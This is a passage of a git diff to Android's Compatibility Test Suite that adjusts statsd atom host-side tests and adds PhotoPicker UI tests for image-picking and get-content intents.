Exception { super.setUp(); - mTransformedFromOp.clear(); - // The hotword op is allowed to all UIDs on TV and Auto devices. - if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE) - || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) { - mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); - } + // Temporarily commented out until the Trusted Hotword requirement is enforced again. + // mTransformedFromOp.clear(); + // // The hotword op is allowed to all UIDs on TV and Auto devices. + // if (!(DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE) + // || DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY))) { + // mTransformedFromOp.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); + // } assertThat(mCtsBuild).isNotNull(); ConfigUtils.removeConfig(getDevice()); diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java index 23ffc03e686..7f29d44673c 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java @@ -68,9 +68,7 @@ public final class ConfigUtils { .setId(CONFIG_ID) .addAllowedLogSource("AID_SYSTEM") .addAllowedLogSource("AID_BLUETOOTH") - // TODO(b/134091167): Fix bluetooth source name issue in Auto platform. - .addAllowedLogSource("com.android.bluetooth.services") - .addAllowedLogSource("com.google.android.bluetooth.services") + .addAllowedLogSource("com.android.bluetooth") .addAllowedLogSource("AID_LMKD") .addAllowedLogSource("AID_MEDIA") .addAllowedLogSource("AID_RADIO") diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java index a6aaebf9916..68a71355e81 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java @@ -28,9 +28,11 @@ import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported; import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported.Event; import com.android.os.StatsLog; import com.android.tradefed.build.IBuildInfo; +import com.android.tradefed.device.ITestDevice; import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceTestCase; import com.android.tradefed.testtype.IBuildReceiver; +import com.android.tradefed.util.Pair; import java.util.Arrays; import java.util.List; @@ -104,6 +106,11 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements return; } + Pair<Integer, Integer> displaySizeClosed = getDisplayRealSize(getDevice()); + if (displaySizeClosed == null) { + CLog.i("Could not determine display size while CLOSED."); + return; + } try (AutoCloseable a = DeviceUtils.withActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, NON_RESIZEABLE_PORTRAIT_ACTIVITY, "action", "action.sleep_top")) { @@ -112,6 +119,15 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); } + Pair<Integer, Integer> displaySizeOpened = getDisplayRealSize(getDevice()); + if (displaySizeOpened == null) { + CLog.i("Could not determine display size while OPENED."); + return; + } + if (displaySizeClosed.equals(displaySizeOpened)) { + CLog.i("Display size has not changed."); + return; + } List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice()); assertThat(data.size()).isEqualTo(1); @@ -127,4 +143,25 @@ public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements .map(Integer::valueOf) .anyMatch(availableState -> availableState == state); } + + /** + * Returns the physical size of the current display used. + */ + private Pair<Integer, Integer> getDisplayRealSize(ITestDevice device) throws Exception { + final String physicalSize = "Physical size: "; + String str = device.executeShellCommand("wm size"); + if (!str.isEmpty()) { + String[] lines = str.split(System.getProperty("line.separator")); + for (String s : lines) { + if (s.contains(physicalSize)) { + String substring = s.substring(physicalSize.length()); + if (!substring.isEmpty()) { + return Pair.create(Integer.parseInt(substring.split("x")[0]), + Integer.parseInt(substring.split("x")[1])); + } + } + } + } + return null; + } } diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java index 33422c1cec4..42b9b5c9cd7 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java @@ -598,30 +598,25 @@ public class UidAtomTests extends DeviceTestCase implements IBuildReceiver { final int atomTag = Atom.SCREEN_BRIGHTNESS_CHANGED_FIELD_NUMBER; - Set<Integer> screenMin = new HashSet<>(Arrays.asList(47)); - Set<Integer> screen100 = new HashSet<>(Arrays.asList(100)); - - // Add state sets to the list in order. - List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100); - ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, atomTag); DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScreenBrightness"); - // Sorted list of events in order in which they occurred. - List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice()); + List<Integer> expectedValues = Arrays.asList(47, 100); + + // Sorted list of brightness values in order in which they occurred, filtered to only + // contain expectedValues if they are present. + List<Integer> data = ReportUtils.getEventMetricDataList(getDevice()) + .stream() + .map(e -> e.getAtom().getScreenBrightnessChanged().getLevel()) + .filter(expectedValues::contains) + .collect(Collectors.toList()); // Restore initial screen brightness setScreenBrightness(initialBrightness); setScreenBrightnessMode(isInitialManual); - AtomTestUtils.popUntilFind(data, screenMin, - atom -> atom.getScreenBrightnessChanged().getLevel()); - AtomTestUtils.popUntilFindFromEnd(data, screen100, - atom -> atom.getScreenBrightnessChanged().getLevel()); - // Assert that the events happened in the expected order. - AtomTestUtils.assertStatesOccurredInOrder(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT, - atom -> atom.getScreenBrightnessChanged().getLevel()); + assertThat(data).containsExactlyElementsIn(expectedValues).inOrder(); } public void testSyncState() throws Exception { diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING index f48e90cf2a3..2a55a282417 100644 --- a/tests/PhotoPicker/TEST_MAPPING +++ b/tests/PhotoPicker/TEST_MAPPING @@ -1,6 +1,26 @@ { + "mainline-presubmit": [ + { + "name": "CtsPhotoPickerTest[com.google.android.mediaprovider.apex]", + "options": [ + { + "exclude-annotation": "androidx.test.filters.LargeTest" + } + ] + } + ], "presubmit": [ { + "name": "CtsPhotoPickerTest", + "options": [ + { + "exclude-annotation": "androidx.test.filters.LargeTest" + } + ] + } + ], + "postsubmit": [ + { "name": "CtsPhotoPickerTest" } ] diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java new file mode 100644 index 00000000000..c7824bb2520 --- /dev/null +++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java @@ -0,0 +1,318 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.photopicker.cts; + +import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData; +import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName; +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertReadOnlyAccess; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUriAndPath; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; +import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait; +import static android.photopicker.cts.util.PhotoPickerUiUtils.findAndClickBrowse; + + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; + +import android.content.ClipData; +import android.content.Intent; +import android.net.Uri; +import android.photopicker.cts.util.GetContentActivityAliasUtils; +import android.photopicker.cts.util.PhotoPickerUiUtils; +import android.util.Pair; + +import androidx.test.uiautomator.UiObject; +import androidx.test.uiautomator.UiObjectNotFoundException; +import androidx.test.uiautomator.UiScrollable; +import androidx.test.uiautomator.UiSelector; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; + +import java.util.ArrayList; +import java.util.List; + +/** + * Photo Picker tests for PhotoPicker launched via {@link Intent#ACTION_GET_CONTENT} intent + * exclusively. + */ +public class ActionGetContentOnlyTest extends PhotoPickerBaseTest { + + public static final String TAG = "ActionGetContentOnlyTest"; + + private static String sDocumentsUiPackageName; + private static int sGetContentTakeOverActivityAliasState; + + private List<Uri> mUriList = new ArrayList<>(); + + @After + public void tearDown() throws Exception { + for (Uri uri : mUriList) { + deleteMedia(uri, mContext); + } + mUriList.clear(); + + if (mActivity != null) { + mActivity.finish(); + } + } + + @BeforeClass + public static void setUpBeforeClass() throws Exception { + sDocumentsUiPackageName = getDocumentsUiPackageName(); + sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState(); + } + + @Before + public void setUp() throws Exception { + super.setUp(); + + clearPackageData(sDocumentsUiPackageName); + } + + @AfterClass + public static void tearDownAfterClass() throws Exception { + GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState); + } + + @Test + public void testMimeTypeFilter() throws Exception { + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("audio/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + // Should open documentsUi + assertThatShowsDocumentsUiButtons(); + + // We don't test the result of the picker here because the intention of the test is only to + // test that DocumentsUi is opened. + } + + @Test + public void testExtraMimeTypeFilter() throws Exception { + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("image/*"); + intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"video/*", "audio/*"}); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + // Should open documentsUi + assertThatShowsDocumentsUiButtons(); + + // We don't test the result of the picker here because the intention of the test is only to + // test that DocumentsUi is opened. + } + + @Test + public void testBrowse_singleSelect() throws Exception { + final int itemCount = 1; + List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(itemCount, + mContext.getUserId(), /* isFavorite */ false); + + final List<String> fileNameList = new ArrayList<>(); + for (Pair<Uri, String> createdImageData: createdImagesData) { + mUriList.add(createdImageData.first); + fileNameList.add(createdImageData.second); + } + + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.setType("image/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + findAndClickBrowse(mDevice); + + findAndClickFilesInDocumentsUi(fileNameList); + + final Uri uri = mActivity.getResult().data.getData(); + + assertReadOnlyAccess(uri, mContext.getContentResolver()); + } + + @Test + public void testBrowse_multiSelect() throws Exception { + final int itemCount = 3; + List<Pair<Uri, String>> createdImagesData = createImagesAndGetUriAndPath(itemCount, + mContext.getUserId(), /* isFavorite */ false); + + final List<String> fileNameList = new ArrayList<>(); + for (Pair<Uri, String> createdImageData: createdImagesData) { + mUriList.add(createdImageData.first); + fileNameList.add(createdImageData.second); + } + + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true); + intent.setType("image/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + findAndClickBrowse(mDevice); + + findAndClickFilesInDocumentsUi(fileNameList); + + final ClipData clipData = mActivity.getResult().data.getClipData(); + final int count = clipData.getItemCount(); + assertThat(count).isEqualTo(itemCount); + for (int i = 0; i < count; i++) { + assertReadOnlyAccess(clipData.getItemAt(i).getUri(), mContext.getContentResolver()); + } + } + + @Test + public void testChooserIntent_mediaFilter() throws Exception { + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.setType("image/*"); + mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE); + + // Should open Picker + assertThatShowsPickerUi(); + } + + @Test + public void testChooserIntent_nonMediaFilter() throws Exception { + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.setType("*/*"); + mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE); + + // Should open DocumentsUi + assertThatShowsDocumentsUiButtons(); + } + + @Test + public void testPickerSupportedFromDocumentsUi() throws Exception { + final Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.setType("*/*"); + mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE); + + findAndClickMediaIcon(); + + // Should open Picker + assertThatShowsPickerUi(); + } + + private void findAndClickMediaIcon() throws Exception { + final UiSelector appList = new UiSelector().resourceId(sDocumentsUiPackageName + + ":id/apps_row"); + + // Wait for the first app list item to appear + assertWithMessage("Waiting for app list to appear in DocumentsUi").that( + new UiObject(appList).waitForExists(SHORT_TIMEOUT)).isTrue(); + + String photoPickerAppName = "Media"; + UiObject mediaButton = mDevice.findObject(new UiSelector().text(photoPickerAppName)); + + assertWithMessage("Timed out waiting for " + photoPickerAppName + " app icon to appear") + .that(new UiScrollable(appList).scrollIntoView(mediaButton)).isTrue(); + mDevice.waitForIdle(); + + clickAndWait(mDevice, mediaButton); + } + + private void assertThatShowsPickerUi() { + // Assert that Search bar for DocumentsUi shows + // Add a short timeout wait for DocumentsUi to show + assertThat(new UiObject(new UiSelector().resourceIdMatches( + PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/bottom_sheet")) + .waitForExists(SHORT_TIMEOUT)).isTrue(); + + // Assert that "Recent files" header for DocumentsUi shows + assertThat(new UiObject(new UiSelector().resourceIdMatches( + PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/privacy_text")) + .exists()).isTrue(); + + // Assert that Documents list UiObject for DocumentsUi shows + assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue(); + assertThat(new UiObject(new UiSelector().text("Albums")).exists()).isTrue(); + } + + private void assertThatShowsDocumentsUiButtons() { + // Assert that "Recent files" header for DocumentsUi shows + // Add a short timeout wait for DocumentsUi to show + assertThat(new UiObject(new UiSelector().resourceId(sDocumentsUiPackageName + + ":id/header_title")).waitForExists(SHORT_TIMEOUT)).isTrue(); + } + + private UiObject findSaveButton() { + return new UiObject(new UiSelector().resourceId( + sDocumentsUiPackageName + ":id/container_save") + .childSelector(new UiSelector().resourceId("android:id/button1"))); + } + + private void findAndClickFilesInDocumentsUi(List<String> fileNameList) throws Exception { + for (String fileName : fileNameList) { + findAndClickFileInDocumentsUi(fileName); + } + findAndClickSelect(); + } + + private void findAndClickSelect() throws Exception { + final UiObject selectButton = new UiObject(new UiSelector().resourceId( + sDocumentsUiPackageName + ":id/action_menu_select")); + clickAndWait(mDevice, selectButton); + } + + private void findAndClickFileInDocumentsUi(String fileName) throws Exception { + final UiSelector docList = new UiSelector().resourceId(sDocumentsUiPackageName + + ":id/dir_list"); + + // Wait for the first list item to appear + assertWithMessage("First list item").that( + new UiObject(docList.childSelector(new UiSelector())) + .waitForExists(SHORT_TIMEOUT)).isTrue(); + + try { + // Enforce to set the list mode + // Because UiScrollable can't reach the real bottom (when WEB_LINKABLE_FILE item) + // in grid mode when screen landscape mode + clickAndWait(mDevice, new UiObject(new UiSelector().resourceId(sDocumentsUiPackageName + + ":id/sub_menu_list"))); + } catch (UiObjectNotFoundException ignored) { + // Do nothing, already be in list mode. + } + + // Repeat swipe gesture to find our item + // (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout) + UiObject targetObject = new UiObject(docList.childSelector(new UiSelector() + .textContains(fileName))); + UiObject saveButton = findSaveButton(); + int stepLimit = 10; + while (stepLimit-- > 0) { + if (targetObject.exists()) { + boolean targetObjectFullyVisible = !saveButton.exists() + || targetObject.getVisibleBounds().bottom + <= saveButton.getVisibleBounds().top; + if (targetObjectFullyVisible) { + break; + } + } + + mDevice.swipe(/* startX= */ mDevice.getDisplayWidth() / 2, + /* startY= */ mDevice.getDisplayHeight() / 2, + /* endX= */ mDevice.getDisplayWidth() / 2, + /* endY= */ 0, + /* steps= */ 40); + } + + targetObject.longClick(); + } +} diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java new file mode 100644 index 00000000000..0f61dc74bbc --- /dev/null +++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java @@ -0,0 +1,159 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.photopicker.cts; + +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant; +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; +import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait; +import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; +import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; + +import static org.junit.Assert.assertThrows; + +import android.app.Activity; +import android.content.ActivityNotFoundException; +import android.content.ClipData; +import android.content.Intent; +import android.net.Uri; +import android.provider.MediaStore; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.UiObject; +import androidx.test.uiautomator.UiSelector; + +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.ArrayList; +import java.util.List; + +/** + * Photo Picker tests for {@link MediaStore#ACTION_PICK_IMAGES} intent exclusively + */ +@RunWith(AndroidJUnit4.class) +public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest { + + private List<Uri> mUriList = new ArrayList<>(); + + @After + public void tearDown() throws Exception { + for (Uri uri : mUriList) { + deleteMedia(uri, mContext); + } + mUriList.clear(); + + if (mActivity != null) { + mActivity.finish(); + } + } + + @Test + public void testMultiSelect_invalidParam() throws Exception { + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1); + mActivity.startActivityForResult(intent, REQUEST_CODE); + final GetResultActivity.Result res = mActivity.getResult(); + assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); + } + + @Test + public void testMultiSelect_invalidNegativeParam() throws Exception { + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1); + mActivity.startActivityForResult(intent, REQUEST_CODE); + final GetResultActivity.Result res = mActivity.getResult(); + assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); + } + + @Test + public void testMultiSelect_returnsNotMoreThanMax() throws Exception { + final int maxCount = 2; + final int imageCount = maxCount + 1; + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + final List<UiObject> itemList = findItemList(imageCount); + final int itemCount = itemList.size(); + assertThat(itemCount).isEqualTo(imageCount); + // Select maxCount + 1 item + for (int i = 0; i < itemCount; i++) { + clickAndWait(mDevice, itemList.get(i)); + } + + UiObject snackbarTextView = mDevice.findObject(new UiSelector().text( + "Select up to 2 items")); + assertWithMessage("Timed out while waiting for snackbar to appear").that( + snackbarTextView.waitForExists(SHORT_TIMEOUT)).isTrue(); + + assertWithMessage("Timed out waiting for snackbar to disappear").that( + snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue(); + + clickAndWait(mDevice, findAddButton()); + + final ClipData clipData = mActivity.getResult().data.getClipData(); + final int count = clipData.getItemCount(); + assertThat(count).isEqualTo(maxCount); + } + + @Test + public void testDoesNotRespectExtraAllowMultiple() throws Exception { + final int imageCount = 2; + mUriList.addAll(createImagesAndGetUris(imageCount, mContext.getUserId())); + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + final List<UiObject> itemList = findItemList(imageCount); + final int itemCount = itemList.size(); + assertThat(itemCount).isEqualTo(imageCount); + // Select 1 item + clickAndWait(mDevice, itemList.get(0)); + + final Uri uri = mActivity.getResult().data.getData(); + assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); + assertRedactedReadOnlyAccess(uri); + } + + @Test + public void testMimeTypeFilter() throws Exception { + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.setType("audio/*"); + assertThrows(ActivityNotFoundException.class, + () -> mActivity.startActivityForResult(intent, REQUEST_CODE)); + } + + @Test + public void testExtraMimeTypeFilter() throws Exception { + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"audio/*"}); + mActivity.startActivityForResult(intent, REQUEST_CODE); + final GetResultActivity.Result res = mActivity.getResult(); + assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); + } +} diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java index aa0c95459f1..ceaf3b244e9 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java @@ -21,7 +21,7 @@ import static android.photopicker.cts.PickerProviderMediaGenerator.MediaGenerato import static android.photopicker.cts.PickerProviderMediaGenerator.setCloudProvider; import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; @@ -120,7 +120,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest { @Test public void testCloudPlusLocalSyncWithoutDedupe() throws Exception { - createImages(1, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId())); initPrimaryCloudProviderWithImage(Pair.create(null, CLOUD_ID1)); final ClipData clipData = fetchPickerMedia(2); @@ -131,7 +131,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest { @Test public void testCloudPlusLocalSyncWithDedupe() throws Exception { - createImages(1, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId())); initPrimaryCloudProviderWithImage(Pair.create(mUriList.get(0).getLastPathSegment(), CLOUD_ID1)); @@ -295,7 +295,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest { // Create a placeholder local image to ensure that the picker UI is never empty. // The PhotoPickerUiUtils#findItemList needs to select an item and it times out if the // Picker UI is empty. - createImages(1, mContext.getUserId(), mUriList); + mUriList.addAll(createImagesAndGetUris(1, mContext.getUserId())); // Cloud provider isn't set assertThat(MediaStore.isCurrentCloudMediaProviderAuthority(mContext.getContentResolver(), diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java index 1092406823f..48c1ea16b54 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java @@ -18,7 +18,7 @@ package android.photopicker.cts; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; @@ -33,6 +33,7 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; +import androidx.test.filters.LargeTest; import androidx.test.filters.SdkSuppress; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiSelector; @@ -55,6 +56,7 @@ import java.util.List; * Photo Picker Device only tests for cross profile interaction flows. */ @RunWith(BedsteadJUnit4.class) +@LargeTest public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState(); @@ -79,7 +81,7 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @SdkSuppress(minSdkVersion = 32, codeName = "T") public void testWorkApp_canAccessPersonalProfileContents() throws Exception { final int imageCount = 2; - createImages(imageCount, sDeviceState.primaryUser().id(), mUriList); + mUriList.addAll(createImagesAndGetUris(imageCount, sDeviceState.primaryUser().id())); Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java index 28051e29fd9..440e47288c2 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java @@ -16,16 +16,20 @@ package android.photopicker.cts; +import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData; +import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName; +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertContainsMimeType; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; -import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideosAndGetUris; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideosAndGetUris; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; +import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; @@ -34,35 +38,62 @@ import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSe import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; -import android.app.Activity; import android.content.ClipData; import android.content.Intent; import android.media.AudioAttributes; import android.media.AudioFocusRequest; import android.media.AudioManager; import android.net.Uri; +import android.photopicker.cts.util.GetContentActivityAliasUtils; import android.provider.MediaStore; -import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiObjectNotFoundException; import androidx.test.uiautomator.UiSelector; import org.junit.After; +import 